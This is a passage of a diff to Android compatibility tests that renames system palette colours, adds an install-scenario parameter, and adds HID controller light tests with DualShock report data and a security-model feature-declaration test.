@@ -155,7 +161,10 @@
          /*installReason*/
                 {{INSTALL_REASON_UNKNOWN, INSTALL_REASON_POLICY, INSTALL_REASON_DEVICE_RESTORE,
                         INSTALL_REASON_DEVICE_SETUP, INSTALL_REASON_USER,
-                        /* parame is not verified */ 0xfff}, {}}};
+                        /* parame is not verified */ 0xfff}, {}},
+         /*installScenario*/
+                {{INSTALL_SCENARIO_DEFAULT, INSTALL_SCENARIO_FAST, INSTALL_SCENARIO_BULK,
+                        INSTALL_SCENARIO_BULK_SECONDARY}, {}}};
 
         ArrayList<Object[]> allTestParams = new ArrayList<>();
 
@@ -207,7 +216,7 @@
                 + " appPackageName=" + appPackageName + " appIcon=" + appIcon + " appLabel="
                 + appLabel + " originatingUri=" + originatingUri + " originatingUid="
                 + originatingUid + " referredUri=" + referredUri + " installReason=" + installReason
-                + " expectFailure=" + expectFailure);
+                + " installScenario=" + installScenario + " expectFailure=" + expectFailure);
 
         SessionParams params = new SessionParams(mode.get());
         installLocation.ifPresent(params::setInstallLocation);
@@ -219,6 +228,7 @@
         originatingUid.ifPresent(params::setOriginatingUid);
         referredUri.ifPresent(params::setReferrerUri);
         installReason.ifPresent(params::setInstallReason);
+        installScenario.ifPresent(params::setInstallScenario);
 
         int sessionId;
         try {
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 62fadd8..70e0735 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -76,30 +76,42 @@
         };
 
         int systemColors[] = {
-                android.R.color.system_main_0,
-                android.R.color.system_main_50,
-                android.R.color.system_main_100,
-                android.R.color.system_main_200,
-                android.R.color.system_main_300,
-                android.R.color.system_main_400,
-                android.R.color.system_main_500,
-                android.R.color.system_main_600,
-                android.R.color.system_main_700,
-                android.R.color.system_main_800,
-                android.R.color.system_main_900,
-                android.R.color.system_main_1000,
-                android.R.color.system_accent_0,
-                android.R.color.system_accent_50,
-                android.R.color.system_accent_100,
-                android.R.color.system_accent_200,
-                android.R.color.system_accent_300,
-                android.R.color.system_accent_400,
-                android.R.color.system_accent_500,
-                android.R.color.system_accent_600,
-                android.R.color.system_accent_700,
-                android.R.color.system_accent_800,
-                android.R.color.system_accent_900,
-                android.R.color.system_accent_1000,
+                android.R.color.system_primary_0,
+                android.R.color.system_primary_50,
+                android.R.color.system_primary_100,
+                android.R.color.system_primary_200,
+                android.R.color.system_primary_300,
+                android.R.color.system_primary_400,
+                android.R.color.system_primary_500,
+                android.R.color.system_primary_600,
+                android.R.color.system_primary_700,
+                android.R.color.system_primary_800,
+                android.R.color.system_primary_900,
+                android.R.color.system_primary_1000,
+                android.R.color.system_secondary_0,
+                android.R.color.system_secondary_50,
+                android.R.color.system_secondary_100,
+                android.R.color.system_secondary_200,
+                android.R.color.system_secondary_300,
+                android.R.color.system_secondary_400,
+                android.R.color.system_secondary_500,
+                android.R.color.system_secondary_600,
+                android.R.color.system_secondary_700,
+                android.R.color.system_secondary_800,
+                android.R.color.system_secondary_900,
+                android.R.color.system_secondary_1000,
+                android.R.color.system_neutral_0,
+                android.R.color.system_neutral_50,
+                android.R.color.system_neutral_100,
+                android.R.color.system_neutral_200,
+                android.R.color.system_neutral_300,
+                android.R.color.system_neutral_400,
+                android.R.color.system_neutral_500,
+                android.R.color.system_neutral_600,
+                android.R.color.system_neutral_700,
+                android.R.color.system_neutral_800,
+                android.R.color.system_neutral_900,
+                android.R.color.system_neutral_1000,
         };
 
         List<Integer> expectedColorStateLists = Arrays.asList(
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
index 5f0697c..5e0d4f6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -47,29 +47,38 @@
     @Test
     public void testShades0and1000() {
         final Context context = getInstrumentation().getTargetContext();
-        final int system0 = context.getColor(R.color.system_main_0);
-        final int system1000 = context.getColor(R.color.system_main_1000);
-        final int accent0 = context.getColor(R.color.system_accent_0);
-        final int accent1000 = context.getColor(R.color.system_accent_1000);
-        assertColor(system0, Color.WHITE);
-        assertColor(system1000, Color.BLACK);
-        assertColor(accent0, Color.WHITE);
-        assertColor(accent1000, Color.BLACK);
+        final int primary0 = context.getColor(R.color.system_primary_0);
+        final int primary1000 = context.getColor(R.color.system_primary_1000);
+        final int secondary0 = context.getColor(R.color.system_secondary_0);
+        final int secondary1000 = context.getColor(R.color.system_secondary_1000);
+        final int neutral0 = context.getColor(R.color.system_neutral_0);
+        final int neutral1000 = context.getColor(R.color.system_neutral_1000);
+        assertColor(primary0, Color.WHITE);
+        assertColor(primary1000, Color.BLACK);
+        assertColor(secondary0, Color.WHITE);
+        assertColor(secondary1000, Color.BLACK);
+        assertColor(neutral0, Color.WHITE);
+        assertColor(neutral1000, Color.BLACK);
     }
 
     @Test
     public void testAllColorsBelongToSameFamily() {
         final Context context = getInstrumentation().getTargetContext();
-        final int[] mainColors = getAllMainColors(context);
-        final int[] accentColors = getAllAccentColors(context);
+        final int[] primaryColors = getAllPrimaryColors(context);
+        final int[] secondaryColors = getAllSecondaryColors(context);
+        final int[] neutralColors = getAllNeutralColors(context);
 
-        for (int i = 2; i < mainColors.length - 1; i++) {
-            assertWithMessage("Main color " + Integer.toHexString((mainColors[i - 1]))
-                    + " has different chroma compared to " + Integer.toHexString(mainColors[i]))
-                    .that(similarChroma(mainColors[i - 1], mainColors[i])).isTrue();
-            assertWithMessage("Accent color " + Integer.toHexString((accentColors[i - 1]))
-                    + " has different chroma compared to " + Integer.toHexString(accentColors[i]))
-                    .that(similarChroma(accentColors[i - 1], accentColors[i])).isTrue();
+        for (int i = 2; i < primaryColors.length - 1; i++) {
+            assertWithMessage("Primary color " + Integer.toHexString((primaryColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(primaryColors[i]))
+                    .that(similarChroma(primaryColors[i - 1], primaryColors[i])).isTrue();
+            assertWithMessage("Secondary color " + Integer.toHexString((secondaryColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(
+                    secondaryColors[i]))
+                    .that(similarChroma(secondaryColors[i - 1], secondaryColors[i])).isTrue();
+            assertWithMessage("Neutral color " + Integer.toHexString((neutralColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(neutralColors[i]))
+                    .that(similarChroma(neutralColors[i - 1], neutralColors[i])).isTrue();
         }
     }
 
@@ -99,27 +108,34 @@
     @Test
     public void testColorsMatchExpectedLuminosity() {
         final Context context = getInstrumentation().getTargetContext();
-        final int[] mainColors = getAllMainColors(context);
-        final int[] accentColors = getAllAccentColors(context);
+        final int[] primaryColors = getAllPrimaryColors(context);
+        final int[] secondaryColors = getAllSecondaryColors(context);
+        final int[] neutralColors = getAllNeutralColors(context);
 
-        final double[] labMain = new double[3];
-        final double[] labAccent = new double[3];
+        final double[] labPrimary = new double[3];
+        final double[] labSecondary = new double[3];
+        final double[] labNeutral = new double[3];
         final double[] expectedL = {100, 95, 90, 80, 70, 60, 49, 40, 30, 20, 10, 0};
 
-        for (int i = 0; i < mainColors.length; i++) {
-            ColorUtils.RGBToLAB(Color.red(mainColors[i]), Color.green(mainColors[i]),
-                    Color.blue(mainColors[i]), labMain);
-            ColorUtils.RGBToLAB(Color.red(accentColors[i]), Color.green(accentColors[i]),
-                    Color.blue(accentColors[i]), labAccent);
+        for (int i = 0; i < primaryColors.length; i++) {
+            ColorUtils.RGBToLAB(Color.red(primaryColors[i]), Color.green(primaryColors[i]),
+                    Color.blue(primaryColors[i]), labPrimary);
+            ColorUtils.RGBToLAB(Color.red(secondaryColors[i]), Color.green(secondaryColors[i]),
+                    Color.blue(secondaryColors[i]), labSecondary);
+            ColorUtils.RGBToLAB(Color.red(neutralColors[i]), Color.green(neutralColors[i]),
+                    Color.blue(neutralColors[i]), labNeutral);
 
             // Colors in the same palette should vary mostly in L, decreasing lightness as we move
             // across the palette.
-            assertWithMessage("Color " + Integer.toHexString((mainColors[i]))
+            assertWithMessage("Color " + Integer.toHexString((primaryColors[i]))
                     + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
-                    .that(labMain[0]).isWithin(3).of(expectedL[i]);
-            assertWithMessage("Color " + Integer.toHexString((accentColors[i]))
+                    .that(labPrimary[0]).isWithin(3).of(expectedL[i]);
+            assertWithMessage("Color " + Integer.toHexString((secondaryColors[i]))
                     + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
-                    .that(labAccent[0]).isWithin(3).of(expectedL[i]);
+                    .that(labSecondary[0]).isWithin(3).of(expectedL[i]);
+            assertWithMessage("Color " + Integer.toHexString((neutralColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labNeutral[0]).isWithin(3).of(expectedL[i]);
         }
     }
 
@@ -135,10 +151,11 @@
                 new Pair<>(300, 700), new Pair<>(400, 800), new Pair<>(500, 900),
                 new Pair<>(600, 1000));
 
-        final int[] mainColors = getAllMainColors(context);
-        final int[] accentColors = getAllAccentColors(context);
+        final int[] primaryColors = getAllPrimaryColors(context);
+        final int[] secondaryColors = getAllSecondaryColors(context);
+        final int[] neutralColors = getAllNeutralColors(context);
 
-        for (int[] palette: Arrays.asList(mainColors, accentColors)) {
+        for (int[] palette: Arrays.asList(primaryColors, secondaryColors, neutralColors)) {
             for (Pair<Integer, Integer> shades: atLeast4dot5) {
                 final int background = palette[shadeToArrayIndex(shades.first)];
                 final int foreground = palette[shadeToArrayIndex(shades.second)];
@@ -166,8 +183,9 @@
      *
      * @param shade Shade from 0 to 1000.
      * @return index in array
-     * @see getAllMainColors(Context)
-     * @see getAllAccentColors(Context)
+     * @see #getAllPrimaryColors(Context)
+     * @see #getAllSecondaryColors(Context)
+     * @see #getAllNeutralColors(Context)
      */
     private int shadeToArrayIndex(int shade) {
         if (shade == 0) {
@@ -185,37 +203,54 @@
                 observed, expected);
     }
 
-    private int[] getAllMainColors(Context context) {
+    private int[] getAllPrimaryColors(Context context) {
         final int[] colors = new int[12];
-        colors[0] = context.getColor(R.color.system_main_0);
-        colors[1] = context.getColor(R.color.system_main_50);
-        colors[2] = context.getColor(R.color.system_main_100);
-        colors[3] = context.getColor(R.color.system_main_200);
-        colors[4] = context.getColor(R.color.system_main_300);
-        colors[5] = context.getColor(R.color.system_main_400);
-        colors[6] = context.getColor(R.color.system_main_500);
-        colors[7] = context.getColor(R.color.system_main_600);
-        colors[8] = context.getColor(R.color.system_main_700);
-        colors[9] = context.getColor(R.color.system_main_800);
-        colors[10] = context.getColor(R.color.system_main_900);
-        colors[11] = context.getColor(R.color.system_main_1000);
+        colors[0] = context.getColor(R.color.system_primary_0);
+        colors[1] = context.getColor(R.color.system_primary_50);
+        colors[2] = context.getColor(R.color.system_primary_100);
+        colors[3] = context.getColor(R.color.system_primary_200);
+        colors[4] = context.getColor(R.color.system_primary_300);
+        colors[5] = context.getColor(R.color.system_primary_400);
+        colors[6] = context.getColor(R.color.system_primary_500);
+        colors[7] = context.getColor(R.color.system_primary_600);
+        colors[8] = context.getColor(R.color.system_primary_700);
+        colors[9] = context.getColor(R.color.system_primary_800);
+        colors[10] = context.getColor(R.color.system_primary_900);
+        colors[11] = context.getColor(R.color.system_primary_1000);
         return colors;
     }
 
-    private int[] getAllAccentColors(Context context) {
+    private int[] getAllSecondaryColors(Context context) {
         final int[] colors = new int[12];
-        colors[0] = context.getColor(R.color.system_accent_0);
-        colors[1] = context.getColor(R.color.system_accent_50);
-        colors[2] = context.getColor(R.color.system_accent_100);
-        colors[3] = context.getColor(R.color.system_accent_200);
-        colors[4] = context.getColor(R.color.system_accent_300);
-        colors[5] = context.getColor(R.color.system_accent_400);
-        colors[6] = context.getColor(R.color.system_accent_500);
-        colors[7] = context.getColor(R.color.system_accent_600);
-        colors[8] = context.getColor(R.color.system_accent_700);
-        colors[9] = context.getColor(R.color.system_accent_800);
-        colors[10] = context.getColor(R.color.system_accent_900);
-        colors[11] = context.getColor(R.color.system_accent_1000);
+        colors[0] = context.getColor(R.color.system_secondary_0);
+        colors[1] = context.getColor(R.color.system_secondary_50);
+        colors[2] = context.getColor(R.color.system_secondary_100);
+        colors[3] = context.getColor(R.color.system_secondary_200);
+        colors[4] = context.getColor(R.color.system_secondary_300);
+        colors[5] = context.getColor(R.color.system_secondary_400);
+        colors[6] = context.getColor(R.color.system_secondary_500);
+        colors[7] = context.getColor(R.color.system_secondary_600);
+        colors[8] = context.getColor(R.color.system_secondary_700);
+        colors[9] = context.getColor(R.color.system_secondary_800);
+        colors[10] = context.getColor(R.color.system_secondary_900);
+        colors[11] = context.getColor(R.color.system_secondary_1000);
+        return colors;
+    }
+
+    private int[] getAllNeutralColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_neutral_0);
+        colors[1] = context.getColor(R.color.system_neutral_50);
+        colors[2] = context.getColor(R.color.system_neutral_100);
+        colors[3] = context.getColor(R.color.system_neutral_200);
+        colors[4] = context.getColor(R.color.system_neutral_300);
+        colors[5] = context.getColor(R.color.system_neutral_400);
+        colors[6] = context.getColor(R.color.system_neutral_500);
+        colors[7] = context.getColor(R.color.system_neutral_600);
+        colors[8] = context.getColor(R.color.system_neutral_700);
+        colors[9] = context.getColor(R.color.system_neutral_800);
+        colors[10] = context.getColor(R.color.system_neutral_900);
+        colors[11] = context.getColor(R.color.system_neutral_1000);
         return colors;
     }
 }
diff --git a/tests/tests/hardware/res/raw/sony_dualshock3_usb_lighttests.json b/tests/tests/hardware/res/raw/sony_dualshock3_usb_lighttests.json
new file mode 100644
index 0000000..ec88ed8
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock3_usb_lighttests.json
@@ -0,0 +1,19 @@
+// Refer to kernel sony_set_leds() in drivers/hid/hid-sony.c
+[
+    {
+        "id": 1,
+        "lightType": "INPUT_PLAYER_ID",
+        "lightName": "sony",
+        "lightColor": 0x00000000,
+        "lightPlayerId": 4,
+        "hidEventType": "UHID_SET_REPORT",
+        "ledsHidOutput":   // LED Bitmask data index of HID SET_REPORT packet.
+            [ { "index": 10,  "data": 16 }
+            ],
+        // Dualshock 3 USB need to send a HID report to start working.
+        "report": [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x02, 0xee, 0x12, 0x00, 0x00, 0x00, 0x00, 0x12, 0xd6, 0x77, 0x00, 0x40,
+            0x01, 0xfa, 0x02, 0x62, 0x02, 0x33, 0x01, 0xeb]
+    }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_lighttests.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_lighttests.json
new file mode 100644
index 0000000..26e1ebb
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_lighttests.json
@@ -0,0 +1,48 @@
+// Refer to kernel sony_set_leds() in drivers/hid/hid-sony.c
+[
+  {
+    "id": 1,
+    "lightType": "INPUT_RGB",
+    "lightName": "RGB",
+    "report": [],
+    "lightColor": 0xff446688,
+    "lightPlayerId": 0,
+    "hidEventType": "UHID_OUTPUT",
+    "ledsHidOutput":   // RGB leds brightness
+        [ { "index": 8, "data": 0x44 },
+          { "index": 9, "data": 0x66 },
+          { "index": 10, "data": 0x88 }
+        ]
+  },
+
+  {
+    "id": 1,
+    "lightType": "INPUT_RGB",
+    "lightName": "RGB",
+    "report": [],
+    "lightColor": 0x7f446688,
+    "lightPlayerId": 0,
+    "hidEventType": "UHID_OUTPUT",
+    "ledsHidOutput":   // RGB leds brightness
+        [ { "index": 8, "data": 0x22 },
+          { "index": 9, "data": 0x33 },
+          { "index": 10, "data": 0x44 }
+        ]
+  },
+
+  {
+    "id": 1,
+    "lightType": "INPUT_RGB",
+    "lightName": "RGB",
+    "report": [],
+    "lightColor": 0x00000000,
+    "lightPlayerId": 0,
+    "hidEventType": "UHID_OUTPUT",
+    "ledsHidOutput":   // RGB leds brightness
+        [ { "index": 8, "data": 0x0 },
+          { "index": 9, "data": 0x0 },
+          { "index": 10, "data": 0x0 }
+        ]
+  }
+
+]
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
new file mode 100644
index 0000000..8c562c5
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that devices correctly declare the
+ * {@link PackageManager#FEATURE_SECURITY_MODEL_COMPATIBLE} feature.
+ */
+@RunWith(AndroidJUnit4.class)
+public class SecurityModelFeatureTest {
+    private static final String ERROR_MSG = "Expected system feature missing. "
+            + "The device must declare: " + PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE;
+    private PackageManager mPackageManager;
+    private boolean mHasSecurityFeature = false;
+
+    @Before
+    public void setUp() throws Exception {
+        mPackageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+        mHasSecurityFeature =
+            mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
+    }
+
+    @Test
+    @CddTest(requirement = "2.3.5/T-0-1")
+    public void testTv() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    @Test
+    @CddTest(requirement = "2.4.5/W-0-1")
+    public void testWatch() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    @Test
+    @CddTest(requirement = "2.5.5/A-0-1")
+    public void testAuto() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    // Handheld & tablet tested via CTS Verifier
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index df05c15..842934f 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -16,6 +16,10 @@
 
 package android.hardware.input.cts.tests;
 
+import static android.hardware.lights.LightsRequest.Builder;
+
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -27,6 +31,9 @@
 
 import android.hardware.Battery;
 import android.hardware.input.InputManager;
+import android.hardware.lights.Light;
+import android.hardware.lights.LightState;
+import android.hardware.lights.LightsManager;
 import android.os.SystemClock;
 import android.os.VibrationEffect;
 import android.os.Vibrator;
@@ -36,6 +43,7 @@
 
 import com.android.cts.input.HidBatteryTestData;
 import com.android.cts.input.HidDevice;
+import com.android.cts.input.HidLightTestData;
 import com.android.cts.input.HidResultData;
 import com.android.cts.input.HidTestData;
 import com.android.cts.input.HidVibratorTestData;
@@ -45,7 +53,6 @@
 import org.mockito.junit.MockitoJUnit;
 import org.mockito.junit.MockitoRule;
 
-import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -71,52 +78,64 @@
         mRegisterResourceId = registerResourceId;
     }
 
-    /**
-     * Get a vibrator from input device with specified Vendor Id and Product Id
-     * from device registration command.
-     * @return Vibrator object in specified InputDevice
-     */
-    private Vibrator getVibrator() {
+    /** Check if input device has specific capability */
+    interface Capability {
+        boolean check(InputDevice inputDevice);
+    }
+
+    /** Gets an input device with specific capability */
+    private InputDevice getInputDevice(Capability capability) {
         final InputManager inputManager =
                 mInstrumentation.getTargetContext().getSystemService(InputManager.class);
         final int[] inputDeviceIds = inputManager.getInputDeviceIds();
-        final int vid = mParser.readVendorId(mRegisterResourceId);
-        final int pid = mParser.readProductId(mRegisterResourceId);
-
         for (int inputDeviceId : inputDeviceIds) {
             final InputDevice inputDevice = inputManager.getInputDevice(inputDeviceId);
-            Vibrator vibrator = inputDevice.getVibrator();
-            if (vibrator.hasVibrator() && inputDevice.getVendorId() == vid
-                    && inputDevice.getProductId() == pid) {
-                return vibrator;
+            if (inputDevice.getVendorId() == mVid && inputDevice.getProductId() == mPid
+                    && capability.check(inputDevice)) {
+                return inputDevice;
             }
         }
-        fail("getVibrator() returns null");
         return null;
     }
 
     /**
-     * Get a battery from input device with specified Vendor Id and Product Id
+     * Gets a vibrator from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return Vibrator object in specified InputDevice
+     */
+    private Vibrator getVibrator() {
+        InputDevice inputDevice = getInputDevice((d) -> d.getVibrator().hasVibrator());
+        if (inputDevice == null) {
+            fail("Failed to find test device with vibrator");
+        }
+        return inputDevice.getVibrator();
+    }
+
+    /**
+     * Gets a battery from input device with specified Vendor Id and Product Id
      * from device registration command.
      * @return Battery object in specified InputDevice
      */
     private Battery getBattery() {
-        final InputManager inputManager =
-                mInstrumentation.getTargetContext().getSystemService(InputManager.class);
-        final int[] inputDeviceIds = inputManager.getInputDeviceIds();
-        final int vid = mParser.readVendorId(mRegisterResourceId);
-        final int pid = mParser.readProductId(mRegisterResourceId);
-
-        for (int inputDeviceId : inputDeviceIds) {
-            final InputDevice inputDevice = inputManager.getInputDevice(inputDeviceId);
-            Battery battery = inputDevice.getBattery();
-            if (battery.hasBattery() && inputDevice.getVendorId() == vid
-                    && inputDevice.getProductId() == pid) {
-                return battery;
-            }
+        InputDevice inputDevice = getInputDevice((d) -> d.getBattery().hasBattery());
+        if (inputDevice == null) {
+            fail("Failed to find test device with battery");
         }
-        fail("getBattery() returns null");
-        return null;
+        return inputDevice.getBattery();
+    }
+
+    /**
+     * Gets a light manager object from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return LightsManager object in specified InputDevice
+     */
+    private LightsManager getLightsManager() {
+        InputDevice inputDevice = getInputDevice(
+                (d) -> !d.getLightsManager().getLights().isEmpty());
+        if (inputDevice == null) {
+            fail("Failed to find test device with light");
+        }
+        return inputDevice.getLightsManager();
     }
 
     @Override
@@ -152,7 +171,7 @@
         }
     }
 
-    private boolean verifyReportData(HidVibratorTestData test, HidResultData result) {
+    private boolean verifyVibratorReportData(HidVibratorTestData test, HidResultData result) {
         for (Map.Entry<Integer, Integer> entry : test.verifyMap.entrySet()) {
             final int index = entry.getKey();
             final int value = entry.getValue();
@@ -168,7 +187,7 @@
         return ffLeft > 0 && ffRight > 0;
     }
 
-    public void testInputVibratorEvents(int resourceId) {
+    public void testInputVibratorEvents(int resourceId) throws Exception {
         final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
 
         for (HidVibratorTestData test : tests) {
@@ -213,28 +232,26 @@
             while (vibrationCount < totalVibrations
                     && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
                 SystemClock.sleep(1000);
-                try {
-                    results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
-                    if (results.size() < totalVibrations) {
-                        continue;
-                    }
-                    vibrationCount = 0;
-                    for (int i = 0; i < results.size(); i++) {
-                        HidResultData result = results.get(i);
-                        if (result.deviceId == mDeviceId && verifyReportData(test, result)) {
-                            int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
-                            int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
-                            Log.v(TAG, "eventId=" + result.eventId + " reportType="
-                                    + result.reportType + " left=" + ffLeft + " right=" + ffRight);
-                            // Check the amplitudes of FF effect are expected.
-                            if (ffLeft == test.amplitudes.get(vibrationCount)
-                                    && ffRight == test.amplitudes.get(vibrationCount)) {
-                                vibrationCount++;
-                            }
+
+                results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    HidResultData result = results.get(i);
+                    if (result.deviceId == mDeviceId
+                            && verifyVibratorReportData(test, result)) {
+                        int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                        int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                        Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                        // Check the amplitudes of FF effect are expected.
+                        if (ffLeft == test.amplitudes.get(vibrationCount)
+                                && ffRight == test.amplitudes.get(vibrationCount)) {
+                            vibrationCount++;
                         }
                     }
-                } catch (IOException ex) {
-                    throw new RuntimeException("Could not get JSON results from HidDevice");
                 }
             }
             assertEquals(vibrationCount, totalVibrations);
@@ -247,7 +264,7 @@
         }
     }
 
-    public void testInputVibratorManagerEvents(int resourceId) {
+    public void testInputVibratorManagerEvents(int resourceId) throws Exception {
         final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
 
         for (HidVibratorTestData test : tests) {
@@ -283,28 +300,26 @@
             while (vibrationCount < totalVibrations
                     && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
                 SystemClock.sleep(1000);
-                try {
-                    results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
-                    if (results.size() < totalVibrations) {
-                        continue;
-                    }
-                    vibrationCount = 0;
-                    for (int i = 0; i < results.size(); i++) {
-                        HidResultData result = results.get(i);
-                        if (result.deviceId == mDeviceId && verifyReportData(test, result)) {
-                            int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
-                            int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
-                            Log.v(TAG, "eventId=" + result.eventId + " reportType="
-                                    + result.reportType + " left=" + ffLeft + " right=" + ffRight);
-                            // Check the amplitudes of FF effect are expected.
-                            if (ffLeft == test.amplitudes.get(vibrationCount)
-                                    && ffRight == test.amplitudes.get(vibrationCount)) {
-                                vibrationCount++;
-                            }
+
+                results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    HidResultData result = results.get(i);
+                    if (result.deviceId == mDeviceId
+                            && verifyVibratorReportData(test, result)) {
+                        int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                        int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                        Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                        // Check the amplitudes of FF effect are expected.
+                        if (ffLeft == test.amplitudes.get(vibrationCount)
+                                && ffRight == test.amplitudes.get(vibrationCount)) {
+                            vibrationCount++;
                         }
                     }
-                } catch (IOException ex) {
-                    throw new RuntimeException("Could not get JSON results from HidDevice");
                 }
             }
             assertEquals(vibrationCount, totalVibrations);
@@ -340,4 +355,65 @@
         }
     }
 
+    public void testInputLightsManager(int resourceId) throws Exception {
+        final LightsManager lightsManager = getLightsManager();
+        final List<Light> lights = lightsManager.getLights();
+
+        final List<HidLightTestData> tests = mParser.getHidLightTestData(resourceId);
+        for (HidLightTestData test : tests) {
+            Light light = null;
+            for (int i = 0; i < lights.size(); i++) {
+                if (lights.get(i).getType() == test.lightType
+                        && test.lightName.equals(lights.get(i).getName())) {
+                    light = lights.get(i);
+                }
+            }
+            assertNotNull("Light type " + test.lightType + " name " + test.lightName
+                    + " does not exist", light);
+            try (LightsManager.LightsSession session = lightsManager.openSession()) {
+                // Can't set both player id and color in same LightState
+                assertFalse(test.lightColor > 0 && test.lightPlayerId > 0);
+                // Issue the session requests to turn single light on
+                if (test.lightPlayerId > 0) {
+                    session.requestLights(new Builder()
+                            .addLight(light, LightState.forPlayerId(test.lightPlayerId))
+                            .build());
+                } else {
+                    session.requestLights(new Builder()
+                            .addLight(light, LightState.forColor(test.lightColor))
+                            .build());
+                }
+                // Some devices (e.g. Sixaxis) defer sending output packets until they've seen at
+                // least one input packet.
+                if (!test.report.isEmpty()) {
+                    mHidDevice.sendHidReport(test.report);
+                }
+                // Delay before sysfs node was updated.
+                SystemClock.sleep(200);
+                // Verify HID report data
+                List<HidResultData> results = mHidDevice.getResults(mDeviceId,
+                        test.hidEventType);
+                assertFalse(results.isEmpty());
+                // We just check the last HID output to be expected.
+                HidResultData result = results.get(results.size() - 1);
+                for (Map.Entry<Integer, Integer> entry : test.expectedHidData.entrySet()) {
+                    final int index = entry.getKey();
+                    final int value = entry.getValue();
+                    int actual = result.reportData[index] & 0xFF;
